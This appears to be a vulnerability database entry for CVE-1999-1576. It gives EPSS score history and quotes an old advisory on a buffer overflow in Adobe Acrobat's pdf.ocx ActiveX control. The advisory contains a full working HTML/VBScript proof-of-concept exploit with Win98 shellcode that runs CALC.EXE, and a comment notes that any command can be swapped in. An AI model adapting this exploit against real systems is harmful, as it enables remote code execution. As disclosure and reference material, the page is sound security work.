CVE-1999-1576 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.66%	–	–
2022-04-03	–	–	12.66%	–	–
2023-02-26	–	–	12.66%	–	–
2023-03-12	–	–	–	4.22%	–
2023-08-13	–	–	–	3.91%	–
2024-02-11	–	–	–	3.91%	–
2024-06-02	–	–	–	3.91%	–
2024-10-27	–	–	–	3.84%	–
2024-12-22	–	–	–	4.7%	–
2025-01-19	–	–	–	4.7%	–
2025-03-18	–	–	–	–	24.78%
2025-03-30	–	–	–	–	25.95%
2025-03-30	–	–	–	–	25.95,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2023-02-26	96%
2023-03-12	91%
2023-08-13	91%
2024-02-11	92%
2024-06-02	92%
2024-10-27	92%
2024-12-22	93%
2025-01-19	93%
2025-03-18	96%
2025-03-30	96%
2025-03-30	96%

source: https://www.securityfocus.com/bid/666/info There is a buffer overflow in the 1.3.188 version of the Adobe Acrobat ActiveX control (pdf.ocx) that ships with Acrobat Viewer 4.0. This ActiveX control is marked 'Safe for Scripting' within Internet Explorer 4.X. Arbitrary commands may be executed if the ActiveX control is run in a malicious manner This control from Adobe Acrobat, can be exploited through the setview method, and because ESP points to the address after the RET address, we can place arbitrary code at this point and JMP to it by RET'ing to a JMP ESP, in this case, one found in Shell32. The code simply executes CALC.EXE then calls ExitProcess to terminate the host without it crashing. I have attempted to notify Adobe of the issue, however they don't appear to have any form of direct secure@ address. <object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000" id="pdf"></object> <script language="VBscript"><!-- msgbox("Adobe Acrobat OCX Buffer Overrun" + Chr(10) + "Written by Shane Hird") expstr = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA" expstr = expstr + Chr(235) 'Address in SHELL32, Win98 (7FD035EB) of JMP ESP expstr = expstr + Chr(53) 'You may need to use a different address expstr = expstr + Chr(208) expstr = expstr + Chr(127) 'Stack is slightly trashed, but NOPs fix it up ok expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144) + Chr(144) 'MOV EDI, ESP expstr = expstr + Chr(139) + Chr(252) 'ADD EDI, 19 (Size of code) expstr = expstr + Chr(131) + Chr(199) + Chr(25) 'PUSH EAX (Window Style EAX = 1) expstr = expstr + Chr(80) 'PUSH EDI (Address of command line) expstr = expstr + Chr(87) 'MOV EDX, BFFA0960 (WinExec, Win98) expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191) 'CALL EDX expstr = expstr + Chr(255) + Chr(210) 'XOR EAX, EAX expstr = expstr + Chr(51) + Chr(192) 'PUSH EAX expstr = expstr + Chr(80) 'MOV EDX, BFF8D4CA (ExitProcess, Win98) expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191) 'CALL EDX expstr = expstr + Chr(255) + Chr(210) 'Replace with any command + 0 (automatically appended) expstr = expstr + "CALC.EXE" 'Call exploitable method pdf.setview(expstr) --></script>